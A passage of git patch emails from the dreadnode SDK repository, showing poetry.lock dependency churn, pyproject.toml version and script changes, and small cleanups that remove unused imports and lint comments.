"sha256:5f8113d202664b7d31025bdbe40b9d3536e8d7154d09520b6a1955818fa6d622"}, - {file = "srsly-2.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:794d39fccd2b333d24f1b445acc78daf90f3f37d3c0f6f0167f25c56961804e7"}, - {file = "srsly-2.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:df7fd77457c4d6c630f700b1019a8ad173e411e7cf7cfdea70e5ed86b608083b"}, - {file = "srsly-2.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:1a4dddb2edb8f7974c9aa5ec46dc687a75215b3bbdc815ce3fc9ea68fe1e94b5"}, - {file = "srsly-2.5.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:58f0736794ce00a71d62a39cbba1d62ea8d5be4751df956e802d147da20ecad7"}, - {file = "srsly-2.5.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7a8269c40859806d71920396d185f4f38dc985cdb6a28d3a326a701e29a5f629"}, - {file = "srsly-2.5.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:889905900401fefc1032e22b73aecbed8b4251aa363f632b2d1f86fc16f1ad8e"}, - {file = "srsly-2.5.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf454755f22589df49c25dc799d8af7b47dce3d861dded35baf0f0b6ceab4422"}, - {file = "srsly-2.5.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:cc0607c8a59013a51dde5c1b4e465558728e9e0a35dcfa73c7cbefa91a0aad50"}, - {file = "srsly-2.5.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d5421ba3ab3c790e8b41939c51a1d0f44326bfc052d7a0508860fb79a47aee7f"}, - {file = "srsly-2.5.1-cp311-cp311-win_amd64.whl", hash = "sha256:b96ea5a9a0d0379a79c46d255464a372fb14c30f59a8bc113e4316d131a530ab"}, - {file = "srsly-2.5.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:683b54ed63d7dfee03bc2abc4b4a5f2152f81ec217bbadbac01ef1aaf2a75790"}, - {file = "srsly-2.5.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:459d987130e57e83ce9e160899afbeb871d975f811e6958158763dd9a8a20f23"}, - {file = "srsly-2.5.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:184e3c98389aab68ff04aab9095bd5f1a8e5a72cc5edcba9d733bac928f5cf9f"}, - {file = "srsly-2.5.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c2a3e4856e63b7efd47591d049aaee8e5a250e098917f50d93ea68853fab78"}, - {file = "srsly-2.5.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:366b4708933cd8d6025c13c2cea3331f079c7bb5c25ec76fca392b6fc09818a0"}, - {file = "srsly-2.5.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c8a0b03c64eb6e150d772c5149befbadd981cc734ab13184b0561c17c8cef9b1"}, - {file = "srsly-2.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:7952538f6bba91b9d8bf31a642ac9e8b9ccc0ccbb309feb88518bfb84bb0dc0d"}, - {file = "srsly-2.5.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84b372f7ef1604b4a5b3cee1571993931f845a5b58652ac01bcb32c52586d2a8"}, - {file = "srsly-2.5.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6ac3944c112acb3347a39bfdc2ebfc9e2d4bace20fe1c0b764374ac5b83519f2"}, - {file = "srsly-2.5.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6118f9c4b221cde0a990d06a42c8a4845218d55b425d8550746fe790acf267e9"}, - {file = "srsly-2.5.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7481460110d9986781d9e4ac0f5f991f1d6839284a80ad268625f9a23f686950"}, - {file = "srsly-2.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6e57b8138082f09e35db60f99757e16652489e9e3692471d8e0c39aa95180688"}, - {file = "srsly-2.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:bab90b85a63a1fe0bbc74d373c8bb9bb0499ddfa89075e0ebe8d670f12d04691"}, - {file = "srsly-2.5.1-cp313-cp313-win_amd64.whl", hash = "sha256:e73712be1634b5e1de6f81c273a7d47fe091ad3c79dc779c03d3416a5c117cee"}, - {file = "srsly-2.5.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7d3b846ece78ec02aee637c1028cbbc6f0756faf8b01af190e9bbc8705321fc0"}, - {file = "srsly-2.5.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1529f5beb25a736ba1177f55532a942c786a8b4fe544bf9e9fbbebc5c63f4224"}, - {file = "srsly-2.5.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3c689a9f8dfa25c56533a3f145693b20ddc56415e25035e526ff7a7251a8c11"}, - {file = "srsly-2.5.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5982d01c7ddd62dbdb778a8bd176513d4d093cc56ef925fa2b0e13f71ed1809a"}, - {file = "srsly-2.5.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:196d3a2cc74758b2284e45f192e0df55d032b70be8481e207affc03216ddb464"}, - {file = "srsly-2.5.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:de756942e08ac3d8e8f5ae4595855932d7e4357f63adac6925b516c168f24711"}, - {file = "srsly-2.5.1-cp39-cp39-win_amd64.whl", hash = "sha256:08b4045506cd4b63d2bb0da523156ab3ee67719aac3ca8cb591d6ed7ee55080e"}, - {file = "srsly-2.5.1.tar.gz", hash = "sha256:ab1b4bf6cf3e29da23dae0493dd1517fb787075206512351421b89b4fc27c77e"}, -] - -[package.dependencies] -catalogue = ">=2.0.3,<2.1.0" - [[package]] name = "sse-starlette" version = "3.0.2" @@ -5067,92 +4443,6 @@ files = [ exceptiongroup = "*" typing_extensions = ">=4.12.2,<5" -[[package]] -name = "thinc" -version = "8.3.6" -description = "A refreshing functional take on deep learning, compatible with your favorite libraries" -optional = false -python-versions = "<3.14,>=3.9" -groups = ["main"] -files = [ - {file = "thinc-8.3.6-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f4abec5a35e5945a6573b62bf0f423709467ba321fea9d00770b4c5282a8257d"}, - {file = "thinc-8.3.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ba7ced4bfc5890dd8f4be2978f8d491a07e80c9d9a7fffae9f57970b55db01bd"}, - {file = "thinc-8.3.6-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e645517d87f71e92137a1aef028094d134223885e15b8472bfcdc09665973ed"}, - {file = "thinc-8.3.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10d8451dd08386d6bbde8160fd0e5e057e04a330c168837d3e0f278fa8738eea"}, - {file = "thinc-8.3.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0e913f120fde25aea9f052e8cd45dd9cd36553ff1903e312b7302dd91000125a"}, - {file = "thinc-8.3.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:03706680bc0ea92036ac2e00f46bc86116ac6dccb6212b0c632e835176f666b2"}, - {file = "thinc-8.3.6-cp310-cp310-win_amd64.whl", hash = "sha256:0902314ecb83a225f41ab6121ceaf139b5da8bb6ada9e58031bad6c46134b8d4"}, - {file = "thinc-8.3.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:7c7c44f8736f27d1cced216246c00e219fb5734e6bc3b8a78c09157c011aae59"}, - {file = "thinc-8.3.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:92b3c38bdfdf81d0485685a6261b8a6ea40e03120b08ced418c8400f5e186b2d"}, - {file = "thinc-8.3.6-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:853eb187b1f77057adada1a72e7f6ea3f38643930363681cfd5de285dab4b09b"}, - {file = "thinc-8.3.6-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c12bf75a375b3b1f7c32a26cbd69255b177daa693c986a27faaf2027439c7ef"}, - {file = "thinc-8.3.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5bf1708c22fb54e7846e8e743a9e6a43a22cbe24cab0081ba4e6362b4437a53f"}, - {file = "thinc-8.3.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:169d7c5779f6f1a78fa91b2bc3a6485f7bbe4341bd8064576f8e067b67b6a0b5"}, - {file = "thinc-8.3.6-cp311-cp311-win_amd64.whl", hash = "sha256:59c244ce11a3359b9a33b4c3bbc9ba94f7174214356ed88c16a41e39f31fe372"}, - {file = "thinc-8.3.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c54705e45a710e49758192592a3e0a80482edfdf5c61fc99f5d27ae822f652c5"}, - {file = "thinc-8.3.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:91acdbf3041c0ac1775ede570535a779cdf1312c317cd054d7b9d200da685c23"}, - {file = "thinc-8.3.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f5a1db861614f91ff127feecce681c2213777b2d3d1ee6644bcc8a886acf0595"}, - {file = "thinc-8.3.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:512e461989df8a30558367061d63ae6f1a6b4abe3c016a3360ee827e824254e0"}, - {file = "thinc-8.3.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a087aea2a63e6b9ccde61163d5922553b58908e96f8ad49cd0fd2edeb43e063f"}, - {file = "thinc-8.3.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b1d85dd5d94bb75006864c7d99fd5b75d05b1602d571e7fcdb42d4521f962048"}, - {file = "thinc-8.3.6-cp312-cp312-win_amd64.whl", hash = "sha256:1170d85294366127d97a27dd5896f4abe90e2a5ea2b7988de9a5bb8e1128d222"}, - {file = "thinc-8.3.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d8743ee8ad2d59fda018b57e5da102d6098bbeb0f70476f3fd8ceb9d215d88b9"}, - {file = "thinc-8.3.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:89dbeb2ca94f1033e90999a70e2bc9dd5390d5341dc1a3a4b8793d03855265c3"}, - {file = "thinc-8.3.6-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89a5460695067aa6e4182515cfd2018263db77cc17b7031d50ed696e990797a8"}, - {file = "thinc-8.3.6-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0aa8e32f49234569fd10c35b562ee2f9c0d51225365a6e604a5a67396a49f2c1"}, - {file = "thinc-8.3.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f432158b80cf75a096980470b790b51d81daf9c2822598adebfc3cb58588fd6c"}, - {file = "thinc-8.3.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:61fb33a22aba40366fa9018ab34580f74fc40be821ab8af77ac1fdbeac17243b"}, - {file = "thinc-8.3.6-cp313-cp313-win_amd64.whl", hash = "sha256:ddd7041946a427f6a9b0b49419353d02ad7eb43fe16724bfcc3bdeb9562040b1"}, - {file = "thinc-8.3.6-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4dc929e9882b67b40e376f591c36a0e5596d1616daa6d67dc401ea7270208598"}, - {file = "thinc-8.3.6-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:9745f4e57560fbba4cfd6d87ef9a0b09efbb14d7721bd7fdd44411ee4bbd021f"}, - {file = "thinc-8.3.6-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:502011141d42536a48522ee9eae52a2f5e3b2315eeaafb8cf238187acf4f8206"}, - {file = "thinc-8.3.6-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c83b76ec5faf2e9a52d6c6b307d893bae328bf3d5e623205d225b041ce7fc94"}, - {file = "thinc-8.3.6-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:d9fc7436223e83ab02e453bde0f5a878c8cab17679947d99b8a32a5c5bfabb50"}, - {file = "thinc-8.3.6-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5d7518a5d9679c16b0d2df9b99f0280f21618bae3a2551458b08129156828b72"}, - {file = "thinc-8.3.6-cp39-cp39-win_amd64.whl", hash = "sha256:658b58b18ea7e2bf540dcbdfe0a129f8d97e1cf5c7c89df685ca213fcce35ff4"}, - {file = "thinc-8.3.6.tar.gz", hash = "sha256:49983f9b7ddc4343a9532694a9118dd216d7a600520a21849a43b6c268ec6cad"}, -] - -[package.dependencies] -blis = ">=1.3.0,<1.4.0" -catalogue = ">=2.0.4,<2.1.0" -confection = ">=0.0.1,<1.0.0" -cymem = ">=2.0.2,<2.1.0" -murmurhash = ">=1.0.2,<1.1.0" -numpy = ">=2.0.0,<3.0.0" -packaging = ">=20.0" -preshed = ">=3.0.2,<3.1.0" -pydantic = ">=2.0.0,<3.0.0" -setuptools = "*" -srsly = ">=2.4.0,<3.0.0" -wasabi = ">=0.8.1,<1.2.0" - -[package.extras] -apple = ["thinc-apple-ops (>=1.0.0,<2.0.0)"] -cuda = ["cupy (>=5.0.0b4)"] -cuda-autodetect = ["cupy-wheel (>=11.0.0)"] -cuda100 = ["cupy-cuda100 (>=5.0.0b4)"] -cuda101 = ["cupy-cuda101 (>=5.0.0b4)"] -cuda102 = ["cupy-cuda102 (>=5.0.0b4)"] -cuda110 = ["cupy-cuda110 (>=5.0.0b4)"] -cuda111 = ["cupy-cuda111 (>=5.0.0b4)"] -cuda112 = ["cupy-cuda112 (>=5.0.0b4)"] -cuda113 = ["cupy-cuda113 (>=5.0.0b4)"] -cuda114 = ["cupy-cuda114 (>=5.0.0b4)"] -cuda115 = ["cupy-cuda115 (>=5.0.0b4)"] -cuda116 = ["cupy-cuda116 (>=5.0.0b4)"] -cuda117 = ["cupy-cuda117 (>=5.0.0b4)"] -cuda11x = ["cupy-cuda11x (>=11.0.0)"] -cuda12x = ["cupy-cuda12x (>=11.5.0)"] -cuda80 = ["cupy-cuda80 (>=5.0.0b4)"] -cuda90 = ["cupy-cuda90 (>=5.0.0b4)"] -cuda91 = ["cupy-cuda91 (>=5.0.0b4)"] -cuda92 = ["cupy-cuda92 (>=5.0.0b4)"] -datasets = ["ml_datasets (>=0.2.0,<0.3.0)"] -mxnet = ["mxnet (>=1.5.1,<1.6.0)"] -tensorflow = ["tensorflow (>=2.0.0,<2.6.0)"] -torch = ["torch (>=1.6.0)"] - [[package]] name = "tiktoken" version = "0.11.0" @@ -5201,28 +4491,6 @@ requests = ">=2.26.0" [package.extras] blobfile = ["blobfile (>=2)"] -[[package]] -name = "tldextract" -version = "5.3.0" -description = "Accurately separates a URL's subdomain, domain, and public suffix, using the Public Suffix List (PSL). By default, this includes the public ICANN TLDs and their exceptions. You can optionally support the Public Suffix List's private domains as well." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "tldextract-5.3.0-py3-none-any.whl", hash = "sha256:f70f31d10b55c83993f55e91ecb7c5d84532a8972f22ec578ecfbe5ea2292db2"}, - {file = "tldextract-5.3.0.tar.gz", hash = "sha256:b3d2b70a1594a0ecfa6967d57251527d58e00bb5a91a74387baa0d87a0678609"}, -] - -[package.dependencies] -filelock = ">=3.0.8" -idna = "*" -requests = ">=2.1.0" -requests-file = ">=1.4" - -[package.extras] -release = ["build", "twine"] -testing = ["mypy", "pytest", "pytest-gitignore", "pytest-mock", "responses", "ruff", "syrupy", "tox", "tox-uv", "types-filelock", "types-requests"] - [[package]] name = "tokenizers" version = "0.21.4" @@ -5263,7 +4531,7 @@ description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["main", "dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, @@ -5440,7 +4708,7 @@ version = "0.15.4" description = "Typer, build great CLIs. Easy to code. Based on Python type hints." optional = false python-versions = ">=3.7" -groups = ["main", "dev"] +groups = ["dev"] files = [ {file = "typer-0.15.4-py3-none-any.whl", hash = "sha256:eb0651654dcdea706780c466cf06d8f174405a659ffff8f163cfbfee98c0e173"}, {file = "typer-0.15.4.tar.gz", hash = "sha256:89507b104f9b6a0730354f27c39fae5b63ccd0c95b1ce1f1a6ba0cfd329997c3"}, @@ -5591,21 +4859,6 @@ typing-extensions = {version = ">=4.13.2", markers = "python_version < \"3.11\"" docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.2,!=7.3)", "sphinx-argparse (>=0.4)", "sphinxcontrib-towncrier (>=0.2.1a0)", "towncrier (>=23.6)"] test = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "coverage-enable-subprocess (>=1)", "flaky (>=3.7)", "packaging (>=23.1)", "pytest (>=7.4)", "pytest-env (>=0.8.2)", "pytest-freezer (>=0.4.8) ; platform_python_implementation == \"PyPy\" or platform_python_implementation == \"GraalVM\" or platform_python_implementation == \"CPython\" and sys_platform == \"win32\" and python_version >= \"3.13\"", "pytest-mock (>=3.11.1)", "pytest-randomly (>=3.12)", "pytest-timeout (>=2.1)", "setuptools (>=68)", "time-machine (>=2.10) ; platform_python_implementation == \"CPython\""] -[[package]] -name = "wasabi" -version = "1.1.3" -description = "A lightweight console printing and formatting toolkit" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "wasabi-1.1.3-py3-none-any.whl", hash = "sha256:f76e16e8f7e79f8c4c8be49b4024ac725713ab10cd7f19350ad18a8e3f71728c"}, - {file = "wasabi-1.1.3.tar.gz", hash = "sha256:4bb3008f003809db0c3e28b4daf20906ea871a2bb43f9914197d540f4f2e0878"}, -] - -[package.dependencies] -colorama = {version = ">=0.4.6", markers = "sys_platform == \"win32\" and python_version >= \"3.7\""} - [[package]] name = "watchdog" version = "6.0.0" @@ -5661,29 +4914,6 @@ files = [ {file = "wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"}, ] -[[package]] -name = "weasel" -version = "0.4.1" -description = "Weasel: A small and easy workflow system" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "weasel-0.4.1-py3-none-any.whl", hash = "sha256:24140a090ea1ac512a2b2f479cc64192fd1d527a7f3627671268d08ed5ac418c"}, - {file = "weasel-0.4.1.tar.gz", hash = "sha256:aabc210f072e13f6744e5c3a28037f93702433405cd35673f7c6279147085aa9"}, -] - -[package.dependencies] -cloudpathlib = ">=0.7.0,<1.0.0" -confection = ">=0.0.4,<0.2.0" -packaging = ">=20.0" -pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<3.0.0" -requests = ">=2.13.0,<3.0.0" -smart-open = ">=5.2.1,<8.0.0" -srsly = ">=2.4.3,<3.0.0" -typer = ">=0.3.0,<1.0.0" -wasabi = ">=0.9.1,<1.2.0" - [[package]] name = "win32-setctime" version = "1.2.0" @@ -6082,5 +5312,5 @@ training = ["transformers"] [metadata] lock-version = "2.1" -python-versions = ">=3.10,<3.14" -content-hash = "608bdd485f2f8fb2d4390f37791f6fdd484c4ca4aa5ef661346c68dd3038f726" +python-versions = ">=3.10,<3.13" +content-hash = "132424b50fc38857d447be325f7070de3d454fa850e7278a51877c2545857df4" diff --git a/pyproject.toml b/pyproject.toml index 59346c31..59640196 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,9 +1,3 @@ -[project] -name = "dreadnode" -version = "1.13.0" -description = "Dreadnode SDK" -requires-python = ">=3.10,<3.14" - [tool.poetry] name = "dreadnode" version = "1.13.0" @@ -13,7 +7,7 @@ repository = "https://github.com/dreadnode/sdk" readme = "README.md" [tool.poetry.dependencies] -python = ">=3.10,<3.14" +python = ">=3.10,<3.13" pydantic = "^2.9.2" httpx = "^0.28.0" logfire = ">=3.5.3,<=3.20.0" @@ -65,10 +59,6 @@ packages = ["src"] [tool.hatch.build.targets.sdist] packages = ["src"] -[project.scripts] -dreadnode = 'dreadnode.__main__:run' -dn = 'dreadnode.__main__:run' - [tool.poetry.plugins."pipx.run"] dreadnode = 'dreadnode.__main__:run' From 63d90341574bac1f8ffbc210c2dc60e33396ef07 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sun, 24 Aug 2025 04:35:02 -0600 Subject: [PATCH 11/60] remove unused PLC0415 --- dreadnode/agent/events.py | 5 ----- 1 file changed, 5 deletions(-) diff --git a/dreadnode/agent/events.py b/dreadnode/agent/events.py index c2ed7816..ffd734ab 100644 --- a/dreadnode/agent/events.py +++ b/dreadnode/agent/events.py @@ -108,11 +108,6 @@ class AgentEnd(Event): def rebuild_event_models() -> None: - from dreadnode.agent.agent import Agent # noqa: F401,PLC0415 - from dreadnode.agent.reactions import Reaction # noqa: F401,PLC0415 - from dreadnode.agent.result import AgentResult # noqa: F401,PLC0415 - from dreadnode.agent.thread import Thread # noqa: F401,PLC0415 - rebuild_dataclass(Event) # type: ignore[arg-type] rebuild_dataclass(AgentStart) # type: ignore[arg-type] rebuild_dataclass(StepStart) # type: ignore[arg-type] From 5c5facadb889260e5af9610cb08792d9775aaa17 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sun, 24 Aug 2025 04:37:07 -0600 Subject: [PATCH 12/60] remove unused noqa, redefine for export --- dreadnode/agent/hooks/summarize.py | 2 +- dreadnode/agent/tools/base.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/dreadnode/agent/hooks/summarize.py b/dreadnode/agent/hooks/summarize.py index 8aac489c..c11dffe2 100644 --- a/dreadnode/agent/hooks/summarize.py +++ b/dreadnode/agent/hooks/summarize.py @@ -23,7 +23,7 @@ def _is_context_length_error(error: Exception) -> bool: """Checks if an exception is likely due to exceeding the context window.""" with contextlib.suppress(ImportError): - from litellm.exceptions import ContextWindowExceededError # noqa: PLC0415 + from litellm.exceptions import ContextWindowExceededError if isinstance(error, ContextWindowExceededError): return True diff --git a/dreadnode/agent/tools/base.py b/dreadnode/agent/tools/base.py index f5e909d5..e55eeaff 100644 --- a/dreadnode/agent/tools/base.py +++ b/dreadnode/agent/tools/base.py @@ -7,8 +7,8 @@ from dreadnode.agent.configurable import CONFIGURABLE_ATTR, configurable -Tool = tools.Tool -tool = tools.tool +Tool = tools.Tool # redefine for export +tool = tools.tool # redefine for export AnyTool = Tool[t.Any, t.Any] From 4cf117855636e51e6af38e8a0a4b8862db817641 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sun, 24 Aug 2025 04:38:48 -0600 Subject: [PATCH 13/60] copy old poetry config --- pyproject.toml | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 59640196..caaba069 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,13 +1,19 @@ +[project] +name = "dreadnode" +version = "1.13.4" +description = "Dreadnode SDK" +requires-python = ">=3.10,<3.14" + [tool.poetry] name = "dreadnode" -version = "1.13.0" +version = "1.13.3" description = "Dreadnode SDK" authors = ["Nick Landers "] repository = "https://github.com/dreadnode/sdk" readme = "README.md" [tool.poetry.dependencies] -python = ">=3.10,<3.13" +python = ">=3.10,<3.14" pydantic = "^2.9.2" httpx = "^0.28.0" logfire = ">=3.5.3,<=3.20.0" @@ -25,6 +31,7 @@ transformers = { version = "^4.41.0", optional = true } soundfile = { version = "^0.13.1", optional = true } moviepy = { version = "^2.1.2", optional = true } pillow = { version = "^11.2.1", optional = true } +presidio-analyzer = "^2.2.359" [tool.poetry.extras] @@ -33,9 +40,9 @@ multimodal = ["pillow", "soundfile", "moviepy"] all = ["multimodal", "training"] [tool.poetry.group.dev.dependencies] -mypy = "^1.8.0" -ruff = "^0.11.6" -pre-commit = "^4.0.0" +mypy = "^1.17.0" +ruff = "^0.12.0" +pre-commit = "^4.3.0" pytest = "^8.3.3" pytest-asyncio = "^0.26.0" types-protobuf = "^5.29.1.20250208" @@ -46,7 +53,7 @@ datasets = "^3.5.0" pyarrow = "^19.0.1" markdown = "^3.8.2" markdownify = "^1.1.0" -mkdocstrings-python = "^1.16.12" +mkdocstrings-python = "^1.17.0" ipykernel = "^6.29.5" [build-system] @@ -59,6 +66,10 @@ packages = ["src"] [tool.hatch.build.targets.sdist] packages = ["src"] +[project.scripts] +dreadnode = 'dreadnode.__main__:run' +dn = 'dreadnode.__main__:run' + [tool.poetry.plugins."pipx.run"] dreadnode = 'dreadnode.__main__:run' From f00d9b60b48c690e9a2367da1ed2209bdf2cc3d3 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sun, 24 Aug 2025 04:41:29 -0600 Subject: [PATCH 14/60] regen lock file --- poetry.lock | 816 ++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 793 insertions(+), 23 deletions(-) diff --git a/poetry.lock b/poetry.lock index 6209871f..763ce92e 100644 --- a/poetry.lock +++ b/poetry.lock @@ -297,6 +297,56 @@ charset-normalizer = ["charset-normalizer"] html5lib = ["html5lib"] lxml = ["lxml"] +[[package]] +name = "blis" +version = "1.3.0" +description = "The Blis BLAS-like linear algebra library, as a self-contained C-extension." +optional = false +python-versions = "<3.14,>=3.6" +groups = ["main"] +files = [ + {file = "blis-1.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:03c5d2d59415c58ec60e16a0d35d6516a50dae8f17963445845fd961530fcfb0"}, + {file = "blis-1.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d1b5c7e7b337e4b0b4887d4837c25e787a940c38d691c6b2936baebf1d008f1b"}, + {file = "blis-1.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f446f853e755e71e7abb9b23ad25fe36f7e3dc6a88ba3e071a06dedd029fb5dc"}, + {file = "blis-1.3.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c9448cd77af47afbecaf0267168016b76298553cc46e51c1c00c22256df21c7"}, + {file = "blis-1.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb2571616da1dfa4a927f2952ae90afc7b061f287da47a0a1bd8318c3a53e178"}, + {file = "blis-1.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:9995848456a3684a81585e1d19e7315023614cff9e52ae292129ad600117d7d9"}, + {file = "blis-1.3.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:520a21fea2355bce4a103893b13c581ecb7034547d4d71d22f7033419c6ace75"}, + {file = "blis-1.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5cb979397cb69ecffe7a67614dd044de0c43486348e1591d1cf77f425c1eb7bd"}, + {file = "blis-1.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:2cbc7b6997be35d94e004587eaf211ca187e4013f9a2df0bb949f3dfba18c68c"}, + {file = "blis-1.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:456833a6006dce2165d68e1ab0aa7678608a9a99a18aa37af7aa0437c972f7f6"}, + {file = "blis-1.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8072fbb03505444c818810536ad77616a18d97bbde06e8ec69755d917abb7f31"}, + {file = "blis-1.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:594c2332bcb1a0fdacb5e857a1afaf338d52c05ba24710515cddbf25862787ac"}, + {file = "blis-1.3.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2cf336a810bd0e6ab52e8ba5455c42ff02f6216acb196ffc831cd30ab084127e"}, + {file = "blis-1.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cad91ae2c8a11286b32e80ac7e579d7028f8c0a22afa1e817edddc18051f05b2"}, + {file = "blis-1.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1bf4267616fb97a3b869cc8d278383faa86882dc8330067421f9bf9c06e6b80c"}, + {file = "blis-1.3.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:45c6f6e801c712592f487f4021c9a85079d6ff8fc487f3d8202212edd4900f8e"}, + {file = "blis-1.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:570113bc81bce8890fa2c067a30f6e6caa82bb3be7de0926d659e986e40f5509"}, + {file = "blis-1.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:75ecaa548589cba2ba75e621e2a8b89888e3f326ef1a27e7a9b1713114467ff2"}, + {file = "blis-1.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = 